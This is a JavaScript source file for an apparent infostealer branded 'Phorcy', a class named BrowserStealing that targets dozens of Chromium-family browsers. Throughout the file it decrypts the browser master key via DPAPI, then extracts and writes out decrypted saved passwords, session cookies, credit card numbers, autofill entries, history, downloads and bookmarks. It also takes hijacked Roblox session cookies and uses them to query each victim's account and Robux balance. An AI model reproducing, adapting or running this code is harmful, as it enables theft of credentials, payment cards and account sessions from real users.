625 lines
33 KiB
JavaScript
625 lines
33 KiB
JavaScript
const fs = require('fs');
|
|
const sqlite3 = require('sqlite3').verbose();
|
|
const crypto = require('crypto')
|
|
const path = require('path')
|
|
const dpapi = require('./node-dpapi');
|
|
const axios = require('axios');
|
|
|
|
class BrowserStealing {
|
|
constructor() {
|
|
this.local = process.env.LOCALAPPDATA
|
|
this.roaming = process.env.APPDATA
|
|
this.phorcyDir = path.join(this.roaming, 'Phorcy');
|
|
//this.browserPaths = [path.join(this.local, 'Google', 'Chrome', 'User Data'), path.join(this.local, 'Thorium', 'User Data')];
|
|
this.browserPaths = [
|
|
path.join(this.local, 'Opera Software', 'Opera Neon', 'User Data', 'Default'),
|
|
path.join(this.local, 'Opera Software', 'Opera Stable'),
|
|
path.join(this.local, 'Opera Software', 'Opera GX Stable'),
|
|
path.join(this.local, 'Amigo', 'User Data'),
|
|
path.join(this.local, 'Torch', 'User Data'),
|
|
path.join(this.local, 'Kometa', 'User Data'),
|
|
path.join(this.local, 'Orbitum', 'User Data'),
|
|
path.join(this.local, 'CentBrowser', 'User Data'),
|
|
path.join(this.local, '7Star', '7Star', 'User Data'),
|
|
path.join(this.local, 'Sputnik', 'Sputnik', 'User Data'),
|
|
path.join(this.local, 'Vivaldi', 'User Data'),
|
|
path.join(this.local, 'Google', 'Chrome SxS', 'User Data'),
|
|
path.join(this.local, 'Google', 'Chrome', 'User Data'),
|
|
path.join(this.local, 'Epic Privacy Browser', 'User Data'),
|
|
path.join(this.local, 'Microsoft', 'Edge', 'User Data'),
|
|
path.join(this.local, 'uCozMedia', 'Uran', 'User Data'),
|
|
path.join(this.local, 'Yandex', 'YandexBrowser', 'User Data'),
|
|
path.join(this.local, 'BraveSoftware', 'Brave-Browser', 'User Data'),
|
|
path.join(this.local, 'Iridium', 'User Data'),
|
|
path.join(this.local, 'Google', 'Chrome Beta', 'User Data'),
|
|
path.join(this.local, 'Google', 'Chrome SxS', 'User Data'),
|
|
path.join(this.local, 'Slimjet', 'User Data'),
|
|
path.join(this.local, 'Maxthon3', 'User Data'),
|
|
path.join(this.local, 'Thorium', 'User Data'),
|
|
path.join(this.local, 'AVAST Software', 'Avast Secure Browser', 'User Data'),
|
|
path.join(this.local, '8pecxstudios', 'Cyberfox', 'User Data'),
|
|
path.join(this.local, 'Waterfox', 'Profiles'),
|
|
path.join(this.local, 'Moonchild Productions', 'Pale Moon', 'Profiles'),
|
|
path.join(this.local, 'Comodo', 'Dragon', 'User Data'),
|
|
path.join(this.local, 'Coowon', 'User Data'),
|
|
path.join(this.local, 'GNU', 'IceCat', 'Profiles'),
|
|
path.join(this.local, 'Moonchild Productions', 'Basilisk', 'Profiles'),
|
|
path.join(this.local, 'Otter', 'Browser', 'User Data'),
|
|
path.join(this.local, 'WebDir', 'Opium', 'User Data'),
|
|
path.join(this.local, 'Comodo', 'Chromodo', 'User Data'),
|
|
path.join(this.local, 'Yandex', 'YandexBrowserBeta', 'User Data'),
|
|
path.join(this.local, 'SRWare Iron', 'User Data'),
|
|
path.join(this.local, 'Otter', 'Browser', 'User Data'),
|
|
path.join(this.local, 'Coowon', 'User Data'),
|
|
path.join(this.local, 'qutebrowser'),
|
|
path.join(this.local, 'Microsoft', 'Edge SxS', 'User Data'),
|
|
path.join(this.local, 'VivaldiSnapshot', 'User Data'),
|
|
path.join(this.local, 'Otter', 'Browser', 'User Data'),
|
|
path.join(this.local, 'Coowon', 'User Data'),
|
|
path.join(this.local, 'qutebrowser'),
|
|
path.join(this.local, 'Microsoft', 'Edge SxS', 'User Data'),
|
|
path.join(this.local, 'VivaldiSnapshot', 'User Data'),
|
|
];
|
|
this.browserProfiles = ['Default', 'Profile 1', 'Profile 2', 'Profile 3', 'Profile 4', 'Profile 5'];
|
|
this.tempDir = path.join(this.local, 'Temp');
|
|
|
|
//this.password_command = 'SELECT action_url, username_value, password_value FROM logins;';
|
|
this.password_command = 'SELECT * FROM logins;';
|
|
this.cookie_command = 'SELECT * FROM cookies;';
|
|
this.cc_command = 'SELECT * FROM credit_cards;';
|
|
this.history_command = 'SELECT * FROM urls;';
|
|
this.downloads_command = 'SELECT * FROM downloads;';
|
|
this.autofill_command = 'SELECT * FROM autofill;';
|
|
|
|
this.passwordFile = path.join(this.phorcyDir, 'browser_passwords.txt');
|
|
this.cookieFile = path.join(this.phorcyDir, 'browser_cookies.txt');
|
|
this.ccFile = path.join(this.phorcyDir, 'browser_creditcards.txt');
|
|
this.historyFile = path.join(this.phorcyDir, 'browser_history.txt');
|
|
this.downloadsFile = path.join(this.phorcyDir, 'browser_downloads.txt');
|
|
this.bookmarkFile = path.join(this.phorcyDir, 'browser_bookmarks.txt');
|
|
this.autofillFile = path.join(this.phorcyDir, 'browser_autofill.txt');
|
|
this.robloxFile = path.join(this.phorcyDir, 'roblox_cookies.txt');
|
|
|
|
this.password_count = 0;
|
|
this.cookie_count = 0;
|
|
this.cc_count = 0;
|
|
this.history_count = 0;
|
|
this.downloads_count = 0;
|
|
this.bookmark_count = 0;
|
|
this.autofill_count = 0;
|
|
this.roblox_count = 0;
|
|
}
|
|
|
|
generateRandomString() {
|
|
const randomCharacter = () => Math.random().toString(36).substring(2, 3).toUpperCase();
|
|
return `${randomCharacter()}${randomCharacter()}${Math.random().toString(36).substring(2, 7).toUpperCase()}-${randomCharacter()}${randomCharacter()}${Math.random().toString(36).substring(2, 7).toUpperCase()}-${randomCharacter()}${randomCharacter()}${Math.random().toString(36).substring(2, 7).toUpperCase()}`;
|
|
}
|
|
|
|
getDate(value) {
|
|
const date = new Date(value / 1000);
|
|
return date;
|
|
}
|
|
|
|
decipher(masterKey, value) {
|
|
let first = value.slice(3, 15),
|
|
middle = value.slice(15, value.length - 16),
|
|
end = value.slice(value.length - 16, value.length);
|
|
|
|
let decipher = crypto.createDecipheriv("aes-256-gcm", masterKey, first);
|
|
decipher.setAuthTag(end);
|
|
|
|
let decrypted = decipher.update(middle, "base64", "utf-8") + decipher.final("utf-8");
|
|
|
|
return decrypted;
|
|
}
|
|
|
|
fileExists(filePath) {
|
|
try {
|
|
fs.accessSync(filePath, fs.constants.F_OK);
|
|
return true;
|
|
} catch (err) {
|
|
return false;
|
|
}
|
|
}
|
|
|
|
async getKey(local_stateFile, callback) {
|
|
fs.readFile(local_stateFile, 'utf8', (err, data) => {
|
|
if (err) {
|
|
console.error(err);
|
|
return;
|
|
}
|
|
|
|
const encryptedKey = Buffer.from(JSON.parse(data).os_crypt.encrypted_key, 'base64').slice(5);
|
|
|
|
const decryptedKey = dpapi.unprotectData(encryptedKey, null, "CurrentUser");
|
|
|
|
console.log('Decryption Key:', decryptedKey);
|
|
|
|
//return decryptedKey;
|
|
callback(null, decryptedKey);
|
|
});
|
|
}
|
|
|
|
async getPassword(loginFile, masterKey) {
|
|
const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`);
|
|
|
|
fs.copyFile(loginFile, tempFile, (err) => {
|
|
if (err) {
|
|
console.error(err);
|
|
}
|
|
|
|
const db = new sqlite3.Database(tempFile, sqlite3.OPEN_READWRITE, (err) => {
|
|
if (err) {
|
|
console.error(err);
|
|
return;
|
|
}
|
|
|
|
db.all(this.password_command, (err, rows) => {
|
|
if (err) {
|
|
console.error(err);
|
|
} else {
|
|
rows.map(row => {
|
|
//console.log(row);
|
|
if (row && row['password_value']) {
|
|
this.password_count++;
|
|
try {
|
|
//const passwordList = `${masterKey.toString('hex')}\t${row['origin_url']}\t${row['action_url']}\t${row['username_element']}\t${row['username_value']}\t${row['password_element']}\t${this.decipher(masterKey, row['password_value'])}\t${row['submit_element']}\t${row['signon_realm']}\t${this.getDate(parseInt(row['date_created']))}\t${row['blacklisted_by_user']}\t${row['scheme']}\t${row['password_type']}\t${row['times_used']}\t${row['form_data']}\t${row['display_name']}\t${row['icon_url']}\t${row['federation_url']}\t${row['skip_zero_click']}\t${row['generation_upload_status']}\t${row['possible_username_pairs']}\t${row['id']}\t${row[21]}\t${this.getDate(parseInt(row['date_last_used']))}\t${row['moving_blocked_for']}\t${this.getDate(parseInt(row['date_password_modified']))}\t${row['sender_email']}\t${row['sender_name']}\t${row['date_received']}\t${row['sharing_notification_displayed']}\t${row['keychain_identifier']}\n`;
|
|
const passwordList = `Master Key: ${masterKey.toString('hex')}\nOrigin URL: ${row['origin_url']}\nAction URL: ${row['action_url']}\nUsername Element: ${row['username_element']}\nUsername Value: ${row['username_value']}\nPassword Element: ${row['password_element']}\nDeciphered Password: ${this.decipher(masterKey, row['password_value'])}\nSubmit Element: ${row['submit_element']}\nSignon Realm: ${row['signon_realm']}\nDate Created: ${this.getDate(parseInt(row['date_created']))}\nBlacklisted by User: ${row['blacklisted_by_user']}\nScheme: ${row['scheme']}\nPassword Type: ${row['password_type']}\nTimes Used: ${row['times_used']}\nForm Data: ${row['form_data']}\nDisplay Name: ${row['display_name']}\nIcon URL: ${row['icon_url']}\nFederation URL: ${row['federation_url']}\nSkip Zero Click: ${row['skip_zero_click']}\nGeneration Upload Status: ${row['generation_upload_status']}\nPossible Username Pairs: ${row['possible_username_pairs']}\nID: ${row['id']}\nRow 21: ${row[21]}\nDate Last Used: ${this.getDate(parseInt(row['date_last_used']))}\nMoving Blocked For: ${row['moving_blocked_for']}\nDate Password Modified: ${this.getDate(parseInt(row['date_password_modified']))}\nSender Email: ${row['sender_email']}\nSender Name: ${row['sender_name']}\nDate Received: ${row['date_received']}\nSharing Notification Displayed: ${row['sharing_notification_displayed']}\nKeychain Identifier: ${row['keychain_identifier']}\n\n`;
|
|
fs.writeFileSync(this.passwordFile, passwordList, { flag: 'a' });
|
|
} catch (err) {
|
|
console.error(err);
|
|
}
|
|
}
|
|
});
|
|
}
|
|
db.close((err) => {
|
|
if (err) {
|
|
console.error(err);
|
|
}
|
|
});
|
|
console.log('Password count:', this.password_count)
|
|
});
|
|
});
|
|
});
|
|
|
|
if (this.fileExists(tempFile)) {
|
|
fs.unlink(tempFile, (err) => {
|
|
if (err) {
|
|
console.error(err);
|
|
}
|
|
});
|
|
}
|
|
};
|
|
|
|
async getCookie(cookieFile, masterKey) {
|
|
const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`);
|
|
|
|
fs.copyFile(cookieFile, tempFile, (err) => {
|
|
if (err) {
|
|
console.error(err);
|
|
}
|
|
|
|
const db = new sqlite3.Database(tempFile, sqlite3.OPEN_READWRITE, (err) => {
|
|
if (err) {
|
|
console.error(err);
|
|
return;
|
|
}
|
|
|
|
db.all(this.cookie_command, (err, rows) => {
|
|
if (err) {
|
|
console.error(err);
|
|
} else {
|
|
rows.map(row => {
|
|
//console.log(row);
|
|
if (row && row['encrypted_value']) {
|
|
this.cookie_count++;
|
|
try {
|
|
//const cookieList = `${masterKey.toString('hex')}\t${this.getDate(parseInt(row['creation_utc']))}\t${row['host_key']}\t${row['top_frame_site_key']}\t${row['name']}\t${row['value']}\t${this.decipher(masterKey, row['encrypted_value'])}\t${row['path']}\t${this.getDate(parseInt(row['expires_utc']))}\t${row['is_secure']}\t${row['is_httponly']}\t${this.getDate(parseInt(row['last_access_utc']))}\t${row['has_expires']}\t${row['is_persistent']}\t${row['priority']}\t${row['samesite']}\t${row['source_scheme']}\t${row['source_port']}\t${row['is_same_party']}\t${this.getDate(parseInt(row['last_update_utc']))}\n`;
|
|
const cookieList = `Master Key: ${masterKey.toString('hex')}\nCreation UTC: ${this.getDate(parseInt(row['creation_utc']))}\nHost Key: ${row['host_key']}\nTop Frame Site Key: ${row['top_frame_site_key']}\nName: ${row['name']}\nValue: ${row['value']}\nDeciphered Encrypted Value: ${this.decipher(masterKey, row['encrypted_value'])}\nPath: ${row['path']}\nExpires UTC: ${this.getDate(parseInt(row['expires_utc']))}\nIs Secure: ${row['is_secure']}\nIs HttpOnly: ${row['is_httponly']}\nLast Access UTC: ${this.getDate(parseInt(row['last_access_utc']))}\nHas Expires: ${row['has_expires']}\nIs Persistent: ${row['is_persistent']}\nPriority: ${row['priority']}\nSameSite: ${row['samesite']}\nSource Scheme: ${row['source_scheme']}\nSource Port: ${row['source_port']}\nIs Same Party: ${row['is_same_party']}\nLast Update UTC: ${this.getDate(parseInt(row['last_update_utc']))}\n\n`;
|
|
fs.writeFileSync(this.cookieFile, cookieList, { flag: 'a' });
|
|
if ('.ROBLOSECURITY' === row.name.toString()) {
|
|
this.roblox_count++;
|
|
const robloSecurityo = this.decipher(masterKey, row['encrypted_value'])
|
|
//console.log(robloSecurityo);
|
|
let headers = {
|
|
'cookie': `.ROBLOSECURITY=${robloSecurityo};`,
|
|
}
|
|
|
|
axios.get("https://www.roblox.com/mobileapi/userinfo", { headers })
|
|
.then(response => {
|
|
//console.log(response.data);
|
|
if (response.data) {
|
|
//let robloxData = `${masterKey.toString('hex')}\t${response.data['username']}\t${response.data['userid']}\t${response.data['robuxbalance']}\t${response.data['ispremium']}\t${robloSecurityo}\n`;
|
|
let robloxData = `Master Key: ${masterKey.toString('hex')}\nUsername: ${response.data['username']}\nUser ID: ${response.data['userid']}\nRobux Balance: ${response.data['robuxbalance']}\nIs Premium: ${response.data['ispremium']}\nRoblox Security: ${robloSecurityo}\n\n`;
|
|
fs.writeFileSync(this.robloxFile, robloxData, { flag: 'a' });
|
|
}
|
|
})
|
|
.catch(err => {
|
|
console.error(err);
|
|
});
|
|
}
|
|
} catch (err) {
|
|
console.error(err);
|
|
}
|
|
}
|
|
});
|
|
}
|
|
db.close((err) => {
|
|
if (err) {
|
|
console.error(err);
|
|
}
|
|
});
|
|
console.log('Cookie count:', this.cookie_count);
|
|
console.log('Roblox count:', this.roblox_count);
|
|
});
|
|
});
|
|
});
|
|
|
|
if (this.fileExists(tempFile)) {
|
|
fs.unlink(tempFile, (err) => {
|
|
if (err) {
|
|
console.error(err);
|
|
}
|
|
});
|
|
}
|
|
};
|
|
|
|
async getCreditCard(ccFile, masterKey) {
|
|
const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`);
|
|
|
|
fs.copyFile(ccFile, tempFile, (err) => {
|
|
if (err) {
|
|
console.error(err);
|
|
}
|
|
|
|
const db = new sqlite3.Database(tempFile, sqlite3.OPEN_READWRITE, (err) => {
|
|
if (err) {
|
|
console.error(err);
|
|
return;
|
|
}
|
|
|
|
db.all(this.cc_command, (err, rows) => {
|
|
if (err) {
|
|
console.error(err);
|
|
} else {
|
|
rows.map(row => {
|
|
//console.log(row);
|
|
if (row && row['card_number_encrypted']) {
|
|
this.cc_count++;
|
|
try {
|
|
//const ccList = `${masterKey.toString('hex')}\t${row['guid']}\t${row['name_on_card']}\t${row['expiration_month']}/${row['expiration_year']}\t${this.decipher(masterKey, row['card_number_encrypted'])}\t${this.getDate(parseInt(row['date_modified']))}\t${row['origin']}\t${row['use_count']}\t${this.getDate(parseInt(row['use_date']))}\t${row['billing_adress_id']}\t${row['nickname']}\n`;
|
|
const ccList = `Master Key: ${masterKey.toString('hex')}\nGUID: ${row['guid']}\nName on Card: ${row['name_on_card']}\nExpiration Date: ${row['expiration_month']}/${row['expiration_year']}\nDeciphered Card Number: ${this.decipher(masterKey, row['card_number_encrypted'])}\nDate Modified: ${this.getDate(parseInt(row['date_modified']))}\nOrigin: ${row['origin']}\nUse Count: ${row['use_count']}\nUse Date: ${this.getDate(parseInt(row['use_date']))}\nBilling Address ID: ${row['billing_adress_id']}\nNickname: ${row['nickname']}\n\n`;
|
|
fs.writeFileSync(this.ccFile, ccList, { flag: 'a' });
|
|
} catch (err) {
|
|
console.error(err);
|
|
}
|
|
}
|
|
});
|
|
}
|
|
db.close((err) => {
|
|
if (err) {
|
|
console.error(err);
|
|
}
|
|
});
|
|
console.log('Credit Card count:', this.cc_count)
|
|
});
|
|
});
|
|
});
|
|
|
|
if (this.fileExists(tempFile)) {
|
|
fs.unlink(tempFile, (err) => {
|
|
if (err) {
|
|
console.error(err);
|
|
}
|
|
});
|
|
}
|
|
};
|
|
|
|
async getHistory(historyFile) {
|
|
const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`);
|
|
|
|
fs.copyFile(historyFile, tempFile, (err) => {
|
|
if (err) {
|
|
console.error(err);
|
|
}
|
|
|
|
const db = new sqlite3.Database(tempFile, sqlite3.OPEN_READWRITE, (err) => {
|
|
if (err) {
|
|
console.error(err);
|
|
return;
|
|
}
|
|
|
|
db.all(this.history_command, (err, rows) => {
|
|
if (err) {
|
|
console.error(err);
|
|
} else {
|
|
rows.map(row => {
|
|
//console.log(row);
|
|
if (row && row['url']) {
|
|
this.history_count++;
|
|
try {
|
|
//const historyList = `${row['id']}\t${row['url']}\t${row['title']}\t${row['visit_count']}\t${row['typed_count']}\t${this.getDate(parseInt(row['last_visit_time']))}\t${row['hidden']}\n`;
|
|
const historyList = `ID: ${row['id']}\nURL: ${row['url']}\nTitle: ${row['title']}\nVisit Count: ${row['visit_count']}\nTyped Count: ${row['typed_count']}\nLast Visit Time: ${this.getDate(parseInt(row['last_visit_time']))}\nHidden: ${row['hidden']}\n\n`;
|
|
fs.writeFileSync(this.historyFile, historyList, { flag: 'a' });
|
|
} catch (err) {
|
|
console.error(err);
|
|
}
|
|
}
|
|
});
|
|
}
|
|
db.close((err) => {
|
|
if (err) {
|
|
console.error(err);
|
|
}
|
|
});
|
|
console.log('History count:', this.history_count)
|
|
});
|
|
});
|
|
});
|
|
|
|
if (this.fileExists(tempFile)) {
|
|
fs.unlink(tempFile, (err) => {
|
|
if (err) {
|
|
console.error(err);
|
|
}
|
|
});
|
|
}
|
|
};
|
|
|
|
async getDownload(downloadFile) {
|
|
const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`);
|
|
|
|
fs.copyFile(downloadFile, tempFile, (err) => {
|
|
if (err) {
|
|
console.error(err);
|
|
}
|
|
|
|
const db = new sqlite3.Database(tempFile, sqlite3.OPEN_READWRITE, (err) => {
|
|
if (err) {
|
|
console.error(err);
|
|
return;
|
|
}
|
|
|
|
db.all(this.downloads_command, (err, rows) => {
|
|
if (err) {
|
|
console.error(err);
|
|
} else {
|
|
rows.map(row => {
|
|
//console.log(row);
|
|
if (row && row['tab_url']) {
|
|
this.downloads_count++;
|
|
try {
|
|
//const downloadsList = `${row['id']}\t${row['guid']}\t${row['current_path']}\t${row['target_path']}\t${this.getDate(parseInt(row['start_time']))}\t${row['received_bytes']}\t${row['total_bytes']}\t${row['state']}\t${row['danger_type']}\t${row['interrupt_reason']}\t${row['hash']}\t${row[this.getDate(parseInt(row['end_time']))]}\t${row['opened']}\t${this.getDate(parseInt(row['last_access_time']))}\t${row['transient']}\t${row['referrer']}\t${row['site_url']}\t${row['embedder_download_data']}\t${row['tab_url']}\t${row['tab_referrer_url']}\t${row['http_method']}\t${row['by_ext_id']}\t${row['by_ext_name']}\t${row['by_web_app_id']}\t${row['etag']}\t${row['last_modified']}\t${row['mime_type']}\t${row['original_mime_type']}\n`;
|
|
const downloadsList = `ID: ${row['id']}\nGUID: ${row['guid']}\nCurrent Path: ${row['current_path']}\nTarget Path: ${row['target_path']}\nStart Time: ${this.getDate(parseInt(row['start_time']))}\nReceived Bytes: ${row['received_bytes']}\nTotal Bytes: ${row['total_bytes']}\nState: ${row['state']}\nDanger Type: ${row['danger_type']}\nInterrupt Reason: ${row['interrupt_reason']}\nHash: ${row['hash']}\nEnd Time: ${this.getDate(parseInt(row['end_time']))}\nOpened: ${row['opened']}\nLast Access Time: ${this.getDate(parseInt(row['last_access_time']))}\nTransient: ${row['transient']}\nReferrer: ${row['referrer']}\nSite URL: ${row['site_url']}\nEmbedder Download Data: ${row['embedder_download_data']}\nTab URL: ${row['tab_url']}\nTab Referrer URL: ${row['tab_referrer_url']}\nHTTP Method: ${row['http_method']}\nBy Extension ID: ${row['by_ext_id']}\nBy Extension Name: ${row['by_ext_name']}\nBy Web App ID: ${row['by_web_app_id']}\nETag: ${row['etag']}\nLast Modified: ${row['last_modified']}\nMIME Type: ${row['mime_type']}\nOriginal MIME Type: ${row['original_mime_type']}\n\n`;
|
|
fs.writeFileSync(this.downloadsFile, downloadsList, { flag: 'a' });
|
|
} catch (err) {
|
|
console.error(err);
|
|
}
|
|
}
|
|
});
|
|
}
|
|
db.close((err) => {
|
|
if (err) {
|
|
console.error(err);
|
|
}
|
|
});
|
|
console.log('Downloads count:', this.downloads_count)
|
|
});
|
|
});
|
|
});
|
|
|
|
if (this.fileExists(tempFile)) {
|
|
fs.unlink(tempFile, (err) => {
|
|
if (err) {
|
|
console.error(err);
|
|
}
|
|
});
|
|
}
|
|
};
|
|
|
|
async getBookmark(bookmarkFile) {
|
|
const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`);
|
|
|
|
fs.copyFile(bookmarkFile, tempFile, (err) => {
|
|
if (err) {
|
|
console.error(err);
|
|
}
|
|
|
|
fs.readFile(tempFile, 'utf8', (err, data) => {
|
|
if (err) {
|
|
console.error(err);
|
|
return;
|
|
}
|
|
let bookmarks = JSON.parse(data).roots.other.children;
|
|
//console.log(bookmarks);
|
|
try {
|
|
for (const item of bookmarks) {
|
|
//const bookmarkList = `${this.getDate(parseInt(item['date_added']))}\t${this.getDate(parseInt(item['date_last_used']))}\t${item['guid']}\t${item['id']}\t${item['meta_info']}\t${item['name']}\t${item['type']}\t${item['url']}\n`;
|
|
const bookmarkList = `Date Added: ${this.getDate(parseInt(item['date_added']))}\nDate Last Used: ${this.getDate(parseInt(item['date_last_used']))}\nGUID: ${item['guid']}\nID: ${item['id']}\nMeta Info: ${item['meta_info']}\nName: ${item['name']}\nType: ${item['type']}\nURL: ${item['url']}\n\n`;
|
|
fs.writeFileSync(this.bookmarkFile, bookmarkList, { flag: 'a' });
|
|
this.bookmark_count++;
|
|
}
|
|
} catch (err) {
|
|
console.error(err);
|
|
}
|
|
console.log('Bookmark count:', this.bookmark_count)
|
|
});
|
|
});
|
|
|
|
if (this.fileExists(tempFile)) {
|
|
fs.unlink(tempFile, (err) => {
|
|
if (err) {
|
|
console.error(err);
|
|
}
|
|
});
|
|
}
|
|
};
|
|
|
|
async getAutofill(autofillFile) {
|
|
const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`);
|
|
|
|
fs.copyFile(autofillFile, tempFile, (err) => {
|
|
if (err) {
|
|
console.error(err);
|
|
}
|
|
|
|
const db = new sqlite3.Database(tempFile, sqlite3.OPEN_READWRITE, (err) => {
|
|
if (err) {
|
|
console.error(err);
|
|
return;
|
|
}
|
|
|
|
db.all(this.autofill_command, (err, rows) => {
|
|
if (err) {
|
|
console.error(err);
|
|
} else {
|
|
rows.map(row => {
|
|
//console.log(row);
|
|
if (row && row['value']) {
|
|
this.autofill_count++;
|
|
try {
|
|
//const autofillList = `${row['name']}\t${row['value']}\t${row['value_lower']}\t${this.getDate(parseInt(row['date_created']))}\t${this.getDate(parseInt(row['date_last_used']))}\t${row['count']}\n`;
|
|
const autofillList = `Name: ${row['name']}\nValue: ${row['value']}\nLowercase Value: ${row['value_lower']}\nDate Created: ${this.getDate(parseInt(row['date_created']))}\nDate Last Used: ${this.getDate(parseInt(row['date_last_used']))}\nCount: ${row['count']}\n\n`;
|
|
fs.writeFileSync(this.autofillFile, autofillList, { flag: 'a' });
|
|
} catch (err) {
|
|
console.error(err);
|
|
}
|
|
}
|
|
});
|
|
}
|
|
db.close((err) => {
|
|
if (err) {
|
|
console.error(err);
|
|
}
|
|
});
|
|
console.log('Autofill count:', this.autofill_count)
|
|
});
|
|
});
|
|
});
|
|
|
|
if (this.fileExists(tempFile)) {
|
|
fs.unlink(tempFile, (err) => {
|
|
if (err) {
|
|
console.error(err);
|
|
}
|
|
});
|
|
}
|
|
};
|
|
|
|
async Main() {
|
|
// dir preparation
|
|
if (!this.fileExists(this.phorcyDir)) {
|
|
try {
|
|
fs.mkdirSync(this.phorcyDir);
|
|
} catch (err) {
|
|
console.error(err);
|
|
}
|
|
}
|
|
|
|
// password, cookie, cc grabber
|
|
fs.writeFileSync(this.passwordFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' });
|
|
fs.writeFileSync(this.robloxFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' });
|
|
fs.writeFileSync(this.cookieFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' });
|
|
fs.writeFileSync(this.ccFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' });
|
|
for (const browserPath of this.browserPaths) {
|
|
if (this.fileExists(browserPath)) {
|
|
const localState = path.join(browserPath, 'Local State');
|
|
if (this.fileExists(localState)) {
|
|
for (const profile of this.browserProfiles) {
|
|
const passwordFile = path.join(browserPath, profile, 'Login Data');
|
|
if (this.fileExists(passwordFile)) {
|
|
try {
|
|
this.getKey(localState, async (err, key) => {
|
|
if (err) {
|
|
console.error(err);
|
|
} else {
|
|
await this.getPassword(passwordFile, key);
|
|
}
|
|
});
|
|
} catch (err) {
|
|
console.error(err);
|
|
}
|
|
}
|
|
const cookieFile = path.join(browserPath, profile, 'Network', 'Cookies');
|
|
if (this.fileExists(cookieFile)) {
|
|
try {
|
|
this.getKey(localState, async (err, key) => {
|
|
if (err) {
|
|
console.error(err);
|
|
} else {
|
|
await this.getCookie(cookieFile, key);
|
|
}
|
|
});
|
|
} catch (err) {
|
|
console.error(err);
|
|
}
|
|
}
|
|
const ccFile = path.join(browserPath, profile, 'Web Data');
|
|
if (this.fileExists(ccFile)) {
|
|
try {
|
|
this.getKey(localState, async (err, key) => {
|
|
if (err) {
|
|
console.error(err);
|
|
} else {
|
|
await this.getCreditCard(ccFile, key);
|
|
}
|
|
});
|
|
} catch (err) {
|
|
console.error(err);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
// history, downloads, bookmark, autofill grabber
|
|
fs.writeFileSync(this.historyFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' });
|
|
fs.writeFileSync(this.downloadsFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' });
|
|
fs.writeFileSync(this.bookmarkFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' });
|
|
fs.writeFileSync(this.autofillFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' });
|
|
for (const browserPath of this.browserPaths) {
|
|
if (this.fileExists(browserPath)) {
|
|
for (const profile of this.browserProfiles) {
|
|
const historyFile = path.join(browserPath, profile, 'History');
|
|
if (this.fileExists(historyFile)) {
|
|
try {
|
|
await this.getHistory(historyFile);
|
|
} catch (err) {
|
|
console.error(err);
|
|
}
|
|
}
|
|
const downloadsFile = path.join(browserPath, profile, 'History');
|
|
if (this.fileExists(downloadsFile)) {
|
|
try {
|
|
await this.getDownload(downloadsFile);
|
|
} catch (err) {
|
|
console.error(err);
|
|
}
|
|
}
|
|
const bookmarkFile = path.join(browserPath, profile, 'Bookmarks');
|
|
if (this.fileExists(bookmarkFile)) {
|
|
try {
|
|
await this.getBookmark(bookmarkFile);
|
|
} catch (err) {
|
|
console.error(err);
|
|
}
|
|
}
|
|
const autofillFile = path.join(browserPath, profile, 'Web Data');
|
|
if (this.fileExists(autofillFile)) {
|
|
try {
|
|
await this.getAutofill(autofillFile);
|
|
} catch (err) {
|
|
console.error(err);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
const browserStealer = new BrowserStealing()
|
|
browserStealer.Main()
|
|
console.log('Hello, World!')
|